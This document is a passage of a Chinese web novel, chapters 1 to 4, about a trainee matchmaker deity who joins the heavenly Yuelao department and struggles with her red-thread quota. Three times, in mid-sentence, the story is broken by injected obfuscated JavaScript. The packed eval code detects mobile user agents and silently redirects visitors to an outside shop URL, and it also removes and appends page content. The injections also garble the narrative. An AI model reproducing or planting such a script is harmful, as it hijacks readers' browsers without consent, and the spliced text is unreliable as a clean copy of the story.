《实习月老:红线KPI完成了吗?》 1. 第1章 光线从高高的窗户斜射进来,在礼堂里中照出飘动的浮尘。 若有若无的香气弥漫着——大概是哪个紧张的考生在偷偷祈求好运。 公事公办的声音嗡嗡回响,在挑高的房顶下显得有些空洞。 “好了,本年度仙界招录的报名马上就要开始了。我再强调一次,请各位考生务必注意,谨慎选择报考的部门,年初这轮岗位招录录取的最多。” 讲话的老师站在前方的讲台上,手里拿着一份讲稿在宣读,表情严肃。 “如果年初没能被录取,就要等年底空出的补录,到时机会可就要大大减少了。” 他的目光扫过台下黑压压的人头,那眼神仿佛在说:机会就这么多,抓不住可别怪我没提醒。 桃喜宁坐在靠过道的位置,摩挲着手里那张报名表。 表格是标准的仙界制式,摸上去有种细腻的凹凸感。 讲台上那些“机会减少”、“慎重选择”的告诫,她左耳进右耳出——这些话每年招录宣讲都要说至少一遍。 道理她都懂。 可是—— 她的目光落回表格上那行醒目的粗体字上:【请勾选意向报考部门(限选一项)】。 下面并列着三个选项,每个前面有个小方框。 就三个。 桃喜宁眨了眨眼,以为自己看错了。她把表格拿近些,又拿远些,甚至侧了侧角度,看是不是光线问题把其他选项给隐藏了。 没有。清清楚楚,只有三个。 “阎王部,财神部,月老部。”她低声念了一遍,语速很慢,像是在确认这不是什么错觉。 然后她又倒过来念了一遍:“月老部,财神部,阎王部。” 还是三个。 礼堂里响起一阵窸窸窣窣的翻动声,夹杂着压低了的惊呼和议论。显然,发现今年选项如此精简的不止她一个。 讲台上的老师清了清嗓子,用眼神示意大家安静,那意思很明白:今年就只有这三个部门招录,有意见也没用。 桃喜宁盯着那三个部门的名字,脑子里开始飞快地盘算。 选哪个? 她的目光首先落在“阎王部”上,然后几乎是本能地,眼前浮现出一张苍白疲惫、眼下挂着浓重青黑的脸——她的师父牧谕。 三百多年前,师父牧谕就是被阎王部录用的。 自那之后,他回人界来探望她这个徒弟的次数,就少得可怜。有限的几次见面里,他眼下的青黑还一次比一次深重。 桃喜宁记得自己前几次还不好意思开口,怕显得不懂事。后来实在憋不住了,在一次难得的师徒见面时,她拉着师父的袖子问: “师父,您就不能多回来几次吗?您刚收了我这唯一一个徒弟,隔年自己就上岸仙界了。”她当时还特意用了对考进仙界的戏称:“这么多功课,这么多年,就靠我自学,实在很为难啊。” 不问还好,这一问,牧谕那张本就没什么血色的脸上,立刻挂上了两行清泪。不是夸张,是真真切切的泪水,顺着脸颊往下淌。 “小桃啊,”牧谕的声音带着哭腔,紧紧握住她的手。“为师很想回来看你啊,可是为师去的这阎王部……就不是仙待的地方!” 他抽噎了一下,继续控诉:“工作多,假期少,假还特别难请!你想想,人界这生死轮回的数据……哪一样不得我们阎王部经手?部长案头的卷宗堆得比山都高,我们这些下面的,能轻松得了吗?” 说到激动处,牧谕另一只手也抓了上来,把桃喜宁的手握得生疼。 “小桃,等你要上岸仙界了,千万千万记得,不要来阎王部!听师父一句劝,去了那儿,你就别想有安生日子过了!” 那次见面后,牧谕苍白脸色搭配青黑眼圈的形象,就成了桃喜宁心里阎王部员工的标配模板。光是想起来,就觉得一股沉重的疲惫感扑面而来,连带着自己都萎靡了三分。 “不去不去。”桃喜宁搓了搓胳膊,仿佛要驱散那回忆带来的寒意,果断把目光从阎王部上移开,投向剩余的两个部门。 财神部。 这三个字在表格上似乎自带金光。桃喜宁在心里默念一遍,感觉连笔尖都温暖了几分。 听着就是个待遇不错的部门,她心想。 毕竟,苦了哪个部门,也苦不了财神部——这可是管钱、管财运、管经济命脉的地方……哪一样离得开财神部的调度?在这种部门工作,别的不说,福利待遇总归是差不了的。 桃喜宁手里握着的报名笔——开始有些蠢蠢欲动。 她的食指轻轻搭在笔杆上,笔尖悬在“财神部”前面的那个小方框上方,距离不到半寸,眼看就要落下去勾选。 就在这千钧一发的时刻,前排飘来几句压得极低、却因为距离近而清晰可闻的议论: “哎,听说了吗?财神部已经连续一百年成为报考考生数量最多的部门了,一百年啊!” “什么一百年,那是现在仙界统计的数据范围只有最近一百年。再往前推推,五百年、一千年,肯定还是财神部最热门,这还用想?” 嗯?!在讨论财神部的报考情况! 桃喜宁的耳朵瞬间竖了起来。她身体保持着不动,脖子却微微转向声音来源的方向,全神贯注地捕捉每一丝信息。 那两个声音继续交谈,带着考生特有的、对未来既憧憬又忧虑的复杂语气: “热门就意味着竞争大!我同门师兄师姐,去年年初报考财神部的,无一例外,全部被刷掉了!一个都没中!运气好点的那几个,年底才勉强补录上了其他部门。” “嘶——全部被刷?那运气差的,岂不是去年就白考了,要今年重头再来?!” 白考?重考? 这两个词精准地扎向了桃喜宁。 她手一抖,那支报名笔终于脱离了控制,“啪嗒”一声轻响,掉在了光滑的地面上,还滚了小半圈。 桃喜宁却顾不上立刻去捡。 不,她今年可不能白考!更不能明年重考! 这个念头带着巨大的恐慌感,瞬间淹没了她对财神部待遇的所有向往。 仙界这几十年搞招录改革,几乎隔个十来年就要变个形式:今年笔试加面试,明年可能就变成实践考核加背景审查。规则年年变,题库从不重复,让无数考生头疼不已。 今年要是考不上,明年万一全改了,万一不招了,万一…… 桃喜宁不敢再想下去了。她仿佛已经看到自己明年此时,还坐在这礼堂里,面对着一份完全陌生、要求截然不同的报名表和考题,周围都是新鲜面孔,而自己成了复读生。 不行不行,不能再想下去了!再想下去,道心都要不稳了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958671|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她深吸一口气,强迫自己冷静。弯下腰,捡起报名笔,笔身微凉,让她发热的头脑稍微降温。 她把笔尖放在嘴边,轻轻咬住——这是个从小紧张思考时就有的习惯,尽管被师父牧谕说过很多次不雅观,但就是改不掉。 慌什么,这不还有一个月老部可以选吗? 月老部。 对,月老部好啊。 这个念头劈开了她因为财神部竞争激烈和害怕改革重考而产生的焦虑。 几乎同时,一段三百多年前的遥远记忆,毫无征兆地、清晰地浮现在她脑海里。 那是她正式拜牧谕为师的日子。 父亲和母亲,正因为女儿有修仙资质而既骄傲又不舍。 母亲蹲下身,仔细地帮她整理其实已经很齐整的衣襟,眼里含着泪光,嘴角却努力上扬。 “宁宁,既然你有这个天赋,就好好拜入师父门下,认真修炼。来日……来日荣登仙界,我和你父亲,也就彻底放心了。” 父亲站在一旁搓着手,带着点凡人对仙界天然的好奇。 他接着母亲的话头,半开玩笑半认真地说:“是啊,宁宁。对了,如果你真的成了仙……能不能去牵个红线,管管姻缘什么的?这差事挺好。” “说什么呢!”母亲立刻嗔怪地拍了下父亲的胳膊,“管什么部门,那是宁宁自己能决定的吗?你给孩子这么大压力干什么?” “我这不是随便说说嘛,”父亲挠挠头,嘿嘿笑道。 “再说了,我们两个这辈子能遇到,结成夫妻,不就是说明姻缘这事,妙不可言嘛。说不定啊,我们下辈子、下下辈子的姻缘,还得靠宁宁来牵呢!” 看着父亲和母亲你一句我一句,年幼的桃喜宁当时“咯咯”地笑出了声。 那天的风很轻柔,父母的话语和笑容,成了她对仙界和未来最初的美好想象。 回忆的暖流冲刷着刚才的焦虑。 桃喜宁松开了咬着笔杆的牙齿,嘴角不自觉地弯起一点弧度。 “这位考生。”一个声音冷不丁地在身旁响起,礼貌但透着公事公办的催促意味。 桃喜宁猛地从回忆中清醒过来。她抬头,只见老师不知何时已经站在了她旁边。 “你选好要报考的部门了吗?”老师指了指她手里还一片空白的报名表,又示意了一下周围,“就剩下你一个没提交了。其他考生都已经交表离场了。” 桃喜宁这才惊觉,偌大的礼堂不知何时已经变得空空荡荡。刚才还坐得满满当当的座位,此刻只剩下她一个。 窗外的光线又偏移了一些,讲台上早已空无一人。 她竟然在回忆里沉浸了这么久。 “啊,马上就好!”桃喜宁连忙应声,脸上有点发烫。 她重新低头,看向报名表上那三个选项。目光掠过阎王部,掠过财神部,最终,稳稳地落在了“月老部”这三个字上。 牵红线,主姻缘。听着至少,不会像师父那样,回来哭诉不是仙待的地方。 而且,好像也挺符合父母当初那句玩笑般的期盼? 没有再多犹豫,桃喜宁握紧了报名笔笔,手腕用力,在那个对应“月老部”的小方框里,干脆利落地划下了一个勾。 笔迹清晰,色泽饱满,在报名表上格外醒目。 好了,决定了。就选月老部。 2. 第2章 月老部,她终于考上了! 桃喜宁压下几乎要溢于言表的雀跃,努力站得规规矩矩:“李科长您好,我是月老部今年新晋的员工桃喜宁,前来报道。” 面前这位,就是她的直属上司李帅——李科长了。 桃喜宁悄悄抬起眼帘打量。到底是科长,看看这坐姿,背挺得笔直;看看这气质,儒雅随和;看看这……额,头发。 啊,真的不是她这个做下属的一见面就在心里蛐蛐领导,可李科长这发量…… 头顶那片区域显得格外开阔,边缘仅存的几缕头发被精心梳理过,却依然掩不住整体的稀疏。 实在堪忧啊。桃喜宁在心里默默补了一句。 李帅自是不知道眼前这位新下属刚打照面,关心的不是部门前景也不是工作内容,而是他的头顶。 “小桃是吧?欢迎欢迎,别拘谨。”他背着手,踱到了窗边。 “这里啊,就是你未来三年实习期的主要工作地点了。走,我先带你到处熟悉熟悉环境。”说着,便转身朝外走去。 桃喜宁连忙应了声“好的科长”,快步跟上,生怕走得慢了漏听什么关键要点。 李帅背着手走在前面,声音不高不低:“这座月老庙,就是我们月老部设在这个城市的办事网点。” 他在办事网点四个字上顿了顿,同时抬手示意桃喜宁注意庙内的环境。 “咱们这个科,业务范围覆盖两个城市,所以一共设了两个办事网点。”李帅继续介绍,语气熟稔,“你工作的这个,是其中之一。” 他顿了顿,脚步也稍停,侧过半边身子:“至于另一个网点的岗位嘛…目前还暂时空缺着。人手一直紧张,最快也得等到年底才能看看有没有补录的名额了。” 这话的言外之意再明白不过:桃喜宁目前就是李帅科长手下,唯一的员工。 作为这唯一的员工,桃喜宁被带着东逛西逛,李帅事无巨细地介绍着。 不知不觉,两人走到了正殿门口。 殿内中央,那尊彩绘的月老神像端坐于神台之上,面容慈祥中透着庄重。 “李科长,我以后工作……是要坐在这里吗?”桃喜宁脱口而出一个未经思考的问题。 问完,她还顺带想象了一下自己端坐其上、面前摆个实习月老牌子的场景。 “哎!胡说什么呢?!” 李帅猛地回过头,脸上的和睦笑容消失得无影无踪,取而代之的是带着惊骇的严肃。 “小心说话!这可是我们部长的固定工位!是你能坐的吗?!” 桃喜宁被这突如其来的激烈反应惊得倒退了一小步,慌忙低下头,连声道歉:“对不起对不起!李科长!是我失言了!是我糊涂了!” 同时,她心里也在拼命鄙视自己:桃喜宁啊桃喜宁!少说多听!多看多学!都忘了吗?!上班第一天就对着部长的工位大放厥词,是不是不想转正了?! 许是看到桃喜宁惊慌的眼神,李帅的神色稍微缓和了些。 “唉……没事,新人嘛,刚来不懂规矩,难免的。” 他的声音恢复了之前的语调,但还带着点余悸:“你也别太紧张,咱们部长其实……还是很和善的。” 说到这里,李帅话锋一转,声音又压低了些,补充了至关重要的一句:“虽然就是……时不时会突然降临各个办事网点视察工作,而且多半不提前打招呼……下次可一定要注意啊!” 桃喜宁听得头皮微微发麻,连连点头应是:“是是是,科长,我记住了,绝对没有下次了!” 一时间,她连眼角都不敢乱瞟了,心里默念:部长在上,新人真的没有丝毫觊觎您工位的意思,一点都没有,半点都不敢! 李帅看着桃喜宁那样子,轻咳了几声,试图把话题拉回正轨。 “好了,说正事。你之后在人界工作期间,仙界后勤司会为你安排一个合法合规的人界身份,户口、档案一应俱全。” 他的语气恢复了领导的沉稳,“明面上,你就是这座月老庙正式聘用的工作人员。日常工作包括接待访客、解答疑问、出售门票和周边、维护庙内秩序等等。” 还给安排人界身份? 桃喜宁一听,心里那点尴尬瞬间被惊喜取代。 太好了!要知道过去三百多年里,她时不时需要离开宗门外出打工赚钱,,最头疼的就是搞个方便行事的身份。 说来说去,都怪师父牧谕上岸地府部太早!没给她这个还在学习的徒弟留够生活费! 不愧是仙界!想得真周到!她在心里默默点了个赞。 这边她还在暗自感慨,那边李帅的声音又响了起来。 “另外,部里也充分体谅派驻人界长期工作的员工,特别批准:员工在办事网点工作期间,可以合法留在人界,不必每天往返仙界通勤。” 他特意重重强调了“不必每天往返”,又接着补充道:“而且,为了更贴合人界的工作习惯,避免引起不必要的关注,派驻人界员工也享有双休日,工作日也有固定的下班时间。” 听听!都说了不愧是仙界!多么体恤员工! 工作期间可以合法留在丰富多彩的人界,不用每天辛苦地跨界通勤,居然还有双休和固定下班时间! 果然是神仙工作!桃喜宁感觉自己的前途一片光明。 “不过——”李帅的话锋毫无预兆地一转,甚至稍稍加强了语气,目光直视桃喜宁。 “有一点必须切记!员工在人界工作、生活期间,决不能被凡人察觉仙人的身份!实习期间若违反,会严重影响转正评估;转正后若是触犯,那也是要记过处罚的!明白吗?” “嗯嗯,好的,李科长,我记住了。”桃喜宁还沉浸在此前听到的双休、不通勤、有身份等一系列利好中,心神有些恍惚,闻言几乎是条件反射般地随口应下。 等等! 好像有哪里不对? 桃喜宁猛地回过神来,刚才那些好消息带来的晕眩感迅速消退,一个非常现实的问题浮上心头。 她迟疑地、小心翼翼地举起了一只手:“那个……李科长,我有个问题。” “说。” “您看啊,又要我们长期留在人界工作,又要求我们不能被凡人发现身份……” 桃喜宁谨慎地组织着语言:“那……衣食住行怎么办?” 是,当了仙之后,她是可以不吃不喝不睡不穿...额,是不需要买衣服穿,也可以一会出现在这一会出现在那。 但长期在人界做一天到晚和凡人接触的工作,这很难不被发现的吧? 李帅明显愣了一下,随即脸上露出恍然和懊恼的神情,抬手拍了下自己的额头:“啊呀!瞧我这记性,忘了把这最实际的跟你交代。” 他重新端起科长的架势,解释道:“是这样。仙界各个部门、各个岗位,在人界都能接收到来自凡人的信仰值,这部分信仰值,每月会按比例结算发放给员工。” “你呢,是可以把信仰值直接兑换成人界的钱使用的。” 兑换……钱? 桃喜宁感觉自己两边嘴角开始不听使唤地向上翘,怎么压都压不住。眼睛也唰地亮了。 “所以,您是说……”她声音里带着压抑不住的兴奋:“我们每个月……还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958672|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给发工资?可以兑换成人界的钱来用?” 太好了!发钱!发钱耶! 考上之前,她多么兢兢业业地四处打零工,才能攒下一点点可怜巴巴的钱。 现在有了这份稳定工资……要是她偷偷攒着不用都给存起来…… 李帅站在对面,似是看穿了桃喜宁正在噼啪作响的小算盘,兜头就泼下一盆冷水: “哦,对了,如果仙界派驻员工舍不得使用信仰值,试图通过其他手段—— 小到变出衣物食品,大到凭空弄出住房车辆——从而导致人界局部财富值出现无法解释的异常波动……” 他故意停顿了一下。 桃喜宁脸上做梦的表情开始越发迷离。 “……那么,财神部可是会立刻发现的。” 李帅慢悠悠地说完,然后给出了致命一击:“到时候,相应的处罚措施里,包括但不限于手写检查、扣发工资、情节严重的还会影响转正和晋升。” “哗啦”桃喜宁心中的小钱钱应声倒塌。 她刚挺直的一点的腰板瞬间塌了下去,肩膀也垮了,连脑袋都耷拉了。 所有的投机取巧念头,消失得无影无踪。 看到桃喜宁瞬间蔫掉的样子,李帅这才重新露出和蔼表情。 “小桃啊,仙界定下这些细致的规矩,初衷就是为了避免派驻员工在人界利用能力胡作非为,扰乱人界的正常秩序,最终反而影响凡人对仙界的整体信仰和观感。”他语重心长地说。 “你要多理解。” 桃喜宁有气无力地“嗯”了一声,脑袋垂得更低了。 “哎,别这么丧气嘛。”李帅拍了拍她的肩,这次带上了点鼓励。 “告诉你,也不全是约束。员工如果工作出色,帮部门争取到更多的信仰值——不光转正和晋升可以加分,还有机会能在工资之外拿到额外奖金的!” 他稍微弯下腰,低声道:“小桃啊,换个角度想。现在人界生活多便利啊,像凡人一样,用工资租房、吃饭、逛街、消费,本身就是对你仙人身份最好的保护,也是工作的重要组成部分。知道了吗?” 桃喜宁眨眨眼,慢慢抬起头。这么一说……好像也有道理。 抛开那点想省钱的私心,规规矩矩拿工资、过凡人日子,确实是最安全、最省心的方式。 她点了点头,这次眼神清亮了些:“我知道了,李科长。” 总结起来就是:在人界,不用信仰值兑换的钱生活,理论上仙人确实能做到,但实践中完全没必要,且风险极高。所以,该用就用,该花就花,不要没苦硬吃。 “好了,小桃,关于工作环境、纪律和待遇,大致情况就这些了。”李帅直起身,结束了这场信息量颇大的上岗培训。 他抬手揉了揉自己那没剩几根的头发,仿佛这个动作能帮助梳理思绪。 “实习考核期是三年,这个你是知道的。具体的考核标准,你应该早就看过了吧?” 桃喜宁立刻挺直腰板,斩钉截铁地回答:“是!李科长,我记得清清楚楚!” 那些,她在等待报道的日子里翻来覆去看了无数遍,几乎能背下来: 考核为期三年,核心原则是: 婚恋自由。 必须姻缘双方诚心所求,心甘情愿,否则月老不可强行牵线;反之,若双方确系诚心所求,月老也不得拒绝牵线。 具体量化到考核指标就是: 每个考核年度内,红线牵成的数量,与红线断裂的数量,都必须达到规定比例,方能算该年度考核合格。 三年内全部合格,方可转正。 3. 第3章 要转正就要通过考核,可是考核就要通不过了怎么办? 桃喜宁坐在办公桌后,手里手机的屏幕被阳光晃得一片亮白。 她却浑然不觉,只是死死盯着上面那条公众号推送,眉头都拧成了一个结。 【近期结婚率下降,而离婚率有所上升,专家分析指出,这是现代人更追求自身幸福,不愿再受婚恋束缚所导致。】 “什么专家!”桃喜宁几乎要对着手机呲出牙来:“难道有了婚恋就是束缚,就不能追求幸福了?” 她愤愤地滑动屏幕,指望能找到点顺心的消息。 【只求爱不求财?醒醒吧,谈感情伤钱!】 “求财和求爱冲突吗?月老的红线绑的又不是钱包!”桃喜宁指尖用力,几乎要把屏幕戳穿, “再下一条!” …… 一连刷了十几条,不是贩卖爱情焦虑,就是散播婚恋悲观。 桃喜宁终于放弃,将手机远远推到桌角,来个眼不见为净。 “真是没事找事,刷什么手机,工作是会自己完成吗?” 她自言自语地转过身,将目光投向桌上那台老旧的办公电脑。 是的,办公电脑,而且是安装着姻缘管理系统的办公电脑。 要问桃喜宁为什么月老部要用电脑办公?或者为什么姻缘管理系统要安装在电脑里? 嗯,她也这么问过了。顺带还问了为什么信仰值可以用手机支付? 尤记得当时李帅听到这些个问题时不但一脸惊喜,甚至还紧紧握住了她的手。 “小桃,你对这个感兴趣?太好了!赶紧的,我这就帮你联系,让你彻彻底底搞懂,以后,月老部的电子设备也好,管理系统也好,可就都指望你来维护了。” 啊,不不不。 她一点也不感兴趣,一点也不! 桃喜宁使劲按自己的额头,硬生生把刚又冒出来的一丝丝好奇给按了下去,然后把目光重新投到了办公电脑上。 显示器边框泛黄,主机箱侧面有着几道深刻的划痕,键盘上有几个键已磨损得看不清。 她熟练地按下开机,主机箱发出拖拉机般的轰鸣,挣扎了好一会儿,才慢吞吞地亮起屏幕。 刚登陆姻缘管理系统,一条闪闪发亮的通知就跳了出来,直接占据了大半个屏幕: 【全体月老部实习员工:】 【本年度考核期临近尾声,请各位密切关注系统数据,确保本年度红线牵成/断裂比例不低于合格要求。考核结果将直接影响转正评定,望周知。】 桃喜宁盯着剩余小半个空出的屏幕,只觉得自己的心也跟着空了一块。 “办公电脑破成这样,发通知倒是一次不耽误。” 她哀嚎一声,绝望地用手胡乱扒拉着自己的头发,让原本还算柔顺的发丝瞬间乱成一团。 “怎么办怎么办……现在还差一单,还差最后一单新牵的红线!要是完不成,今年的转正考核就完蛋了” “要是还没转正就被踢出月老部,那连个散仙都当不成啊!” 就在桃喜宁几乎要自抱自泣时,一条青色的小蛇,悄无声息地游上了桌面。 他先是围着桌角那部被流放的手机转了一圈,用尾巴尖试探性地戳了戳,随即又丝滑地游到桃喜宁面前,昂起了小脑袋。 “既然这么担心,干嘛不主动出击,就近找对男女把红线硬牵上?管他们愿不愿意呢,先把业绩凑够再说。” 这小青蛇大名敖翔,是李帅今天上午刚领来的新同事。 桃喜宁连眼皮都懒得抬,有气无力地回道。 “月老部有明确规定:不得强行牵系红线。违者视情节严重程度,处以信仰值扣罚乃至取消转正资格、予以开除。” 这段话她就职前反复记忆,都快倒背如流了。 “规定这么死板,业绩还怎么做嘛。” 敖翔不满地一甩尾巴,在光洁的桌面上发出“啪”的一声轻响。 “就算是做业绩,姿态也得好看。”桃喜宁终于抬起了头,还一本正经地教育新同事。 “我们不能为了业绩,连底线都不要了。而且,就算是做业绩,姿态也得好看,不能为了业绩不顾体面。” 敖翔的小脑袋上下晃动了几下,语气里居然带上了意外的赞赏:“看不出来,你这个仙,虽然还在实习期,居然还挺有工作原则。” “原则?”桃喜宁苦笑一下,目光重新落回那刺眼的考核通知上。 “也不全是原则。关键是,现在的凡人,心思变得飞快。就算双方开始是自愿的,月老牵了线也未必牢靠,说断就断。” 她声音低了些:“你知道吗?我这个岗位,之前是一位前辈在负责,她都已经转正成正式月老了。” “前辈牵红线的时候,那姻缘双方看起来也是情投意合的。可红线牵完后,没过多久就断得彻底。” “前辈自我要求高,实在接受不了自己的工作成果如此脆弱,心态崩了,结果就辞职当散仙去了……” 说到这儿,桃喜宁忽然噤声,耳朵动了动。 “嘘——!”她猛地竖起一根手指抵在唇边,示意敖翔闭嘴。 “刚才光顾着跟你说话没注意,有人进月老庙了!是一男一女,已经离我们很近了!” 话音未落,门口处便传来了由远及近的交谈声和脚步声。 桃喜宁脸色一变,手忙脚乱地一把抄起桌上的敖翔,左右四顾,寻找能把这见不得人的新同事藏起来的地方。 可情急之下,她总觉得此间到处空荡荡的,一览无余。 听着来人越走越近,桃喜宁灵机一动,手腕一翻,飞快地将敖翔在自己的手腕上缠了几圈,顺手打了个活结,伪装成一条造型别致的青蛇手链。 还低声警告:“别动!” 敖翔却扭啊扭的,显然不太愿意配合这拙劣的伪装。 【你干什么?我刚才明明有机会可以原地消失的!】他气急败坏的传音在桃喜宁脑中炸响。 桃喜宁心里咯噔一下——糟了,忘了还有这招! 可现在那两人已经快到跟前,再让他凭空消失,万一被眼角的余光瞥见,更是解释不清。 【现在晚了!别乱动,要是被凡人发现你的异常,咱俩都得受处罚!】 她单手死死按住腕间不安分的敖翔,用传音跟他讲道理......主要还是强调后果。 就在这时,一个温柔的女声在桌旁响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958673|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“哎,老师,我刚才……好像看见你的手链在动?” 桃喜宁心头一紧,瞬间换上了营业式微笑和无比淡定的语气。 “没有没有,你肯定是看错了。”她说着,还故意晃了晃手腕。 那“手链”僵直着一动不动。 “看错了吗?”女人脸上露出些许困惑,下意识地揉了揉眼睛。 “可能是你最近压力太大了,放松些。”身旁的男人适时地握住她的手,声音温和。 “可能……是吧。”女人顺了顺头发,似乎被说服了。 “一定是的!”桃喜宁立刻加重语气,无比笃定地再次强调,仿佛在阐述什么真理。 许是这语气太过坚定,反而让眼前这对男女都愣了一下,气氛瞬间有点微妙的尴尬。 人家都不追究了,还强调个什么劲!赶紧转移话题! 桃喜宁真想当场掐自己一下。她放柔声音:“二位今日一同前来月老庙,是来祈求姻缘的吗?额...” 刚才没仔细看...这个女人的身上,居然还有根若隐若现的红线断头... 这说明,上一段姻缘,才刚刚结束没多久啊。 女人似乎有些犹豫,看了身旁的男人一眼,才轻轻点头。 男人握了握她的手,回以微笑,然后才转向桃喜宁:“是的。” 刚才还在念叨今年考核还差一单!现在这不就来了? 桃喜宁适时瞄向电脑屏幕,姻缘管理系统果然弹出了新的提示:【检测到新的红线牵系申请,申请人:林渊傅、白饴。是否为其牵系红线?】 太好了!简直想现在就冲到部长的工位前磕一个! 她心中欢呼,手指迫不及待地挪动,光标精准地悬停在【同意】按钮之上。 白饴身上那红线的断头...... 桃喜宁的眉头微微蹙起,停下了手里的动作。 可是,这条断裂的红线,并非在她负责的辖区牵成。 以实习员工的权限,肯定无法查看更详细的信息,比如那段感情的断裂的具体原因。 所以,是不是,应该更谨慎一些?至少……应该再多观察一下? 但这个念头只是一闪而过。 考核通知上那加粗的“合格要求”四个大字,李科长那发量堪忧的头顶,一一浮现, 全都是仙界职场压力的无声证明啊。 “管不了那么多了!”桃喜宁在心里对自己说:“系统都接受申请了,我还在瞎操什么心?前任红线断了,正好说明眼前这个是正缘!先保住自己的岗位要紧!” 就业压力当前,原则也得适当变通。毕竟,完不成业绩,连实践原则的资格都没有。 这一刻,对转正的渴望压倒了桃喜宁心头那一丝微弱的不安。 她不再犹豫,深吸一口气,指尖带着一种下定决心的力道,重重地点击了下去。 【恭喜!红线牵系成功!】 系统提示框弹出,随后缓缓消失。 桃喜宁看着屏幕上代表林渊傅和白饴的两个名字被一条红色的细线连接在一起,轻轻吁了口气。 成了。 这下,今年的考核,总算...应该...能达标了...吧? 4. 第4章 随着白饴和林渊傅的离去,月老庙刚恢复了宁静,旋即就被打破了。 “哟~~~!” 此刻仍缠在桃喜宁手腕上的敖翔发出讥诮的声音,充满了看热闹不嫌事大的意味。 “刚才是谁在这里高谈阔论,说什么做业绩姿态也得好看,不能为了业绩不顾体面?怎么,轮到抢单其他同事刚断线的客户时,这姿态、这体面,就不要了?” 桃喜宁脸上那点因完成一单业绩而升起的轻松瞬间凝固。 她低头,理直气壮地回怼,边怼还边用指尖戳了戳腕间的敖翔。 “我这不是抢单,是及时响应客户申请!再说,红线都断了,说明之前的服务……呃,之前的缘分已尽。” “我这是急人所急,帮他们解决开启人生新篇章!这姿态怎么就不体面了?这叫高效、精准!” “嗤——”敖翔发出一声清晰的、充满不屑的气音,显然对她的说法嗤之以鼻。 同时,他开始用力挣扎,想要解开尾巴上的那个活结。 细长的身体一会绷得笔直,一会又收缩弯曲,试图从缝隙中钻出去。 奈何越急,结缠得越死。 一番徒劳的扭动之后,活结非但没开,反而彻底收成了一个紧紧的死结。 桃喜宁清楚地感觉到自己的手腕处,传来因摩擦而产生的灼热感,心里顿感好笑,猜想大概是这位新同事羞愤交加了。 “行了行了,别折腾了,还得我来吧。” 桃喜宁的语气像是安抚一个闹别扭的小孩,小心翼翼地伸手,耐心地帮敖翔把那个死结一点点解开。 尾巴刚一获得自由,敖翔立刻“嗖”地一下从她腕间蹿出,落在了办公桌上。 他似乎觉得离桃喜宁还不够远,又接连蹦跶了几下,一直跳到桌子最远的边缘,才盘起身子,昂起小脑袋,发出了严厉的抗议: “你!你欺负我!我要告到李科长那里去!” …… 时间稍早一些,回到当天上午。 月老庙里冷冷清清,只有零星几人过门而入——还只是来参观的。 眼见无需费心接待,桃喜宁便决定:宝贵的上班时间不能浪费,得用来把令人头疼的月度业绩报告给写了。 还记得上个月,她偷懒直接套用了上上个月的报告模板——当然,是简单更新了几处核心数据的版本。 结果被李帅一眼识破,批评工作态度敷衍,当场打回要求重写。 光是想想,就觉得头疼。 现在,这个月都是年底了,要是因为报告又不过关,影响年终考核,真是哭都没地方哭去。 “哎,想想都是泪。”桃喜宁哀叹一声,认命地打开了空白文档。 “这里,这段话上个月用过了,得换个说法……显著提升换成稳步增长?积极开拓改成努力探索?” 她对着屏幕,抓耳挠腮,感觉自己那点可怜的文学素养都快被榨干了。 “还有,这个大概、可能之类的措辞,李科长上次特意强调,说部长最不喜欢这种模糊不清的词,删掉删掉,全部换成经统计,或者是数据分析!” 桃喜宁一边念念有词,一边在文档里修修补补,删除线和修订标记很快布满了屏幕。 “啊——!这样删删改改下去,这报告的字数就不够了啊!考核要求里可是明确写了‘陈述翔实,不少于要求字数的!怎么办?!” 巨大的焦虑感让她猛地从椅子上弹起来,双手“啪”地一下拍在桌面上,对着空气发出绝望的低吼。 “什么怎么办啊?”一个熟悉的声音,突然从背后幽幽地响起。 桃喜宁浑身一僵,看也没看,想也不想,右手精准地摸向鼠标,“咔咔”几下疾速点击。 电脑屏幕瞬间一黑,进入了待机状态。 做完这一切,她才僵硬地转过身,同时挂上了诚恳混着谄媚的笑容:“没什么没什么。李科长,您今天怎么有空大驾光临了?” 说话间,还不动声色地用身体挡住电脑屏幕,试图遮掩得更严实些。 是错觉吗? 桃喜宁微微一愣。 几天不见,面前的李帅,头发好像又少了几根,连背好像都比之前佝偻了一些。 李帅仿佛完全没有注意到桃喜宁刚才那一系列的操作。 他只是习惯性地抬手,摸了摸自己那片越发显眼的头顶,用一种交代任务的平淡语气说道。 “小桃啊,通知你个事。今天有位新同事,要调来你这个办事网点,暂时和你共事一段时间。” “新同事?!”桃喜宁心里“咯噔”一下,瞬间警惕值拉满。 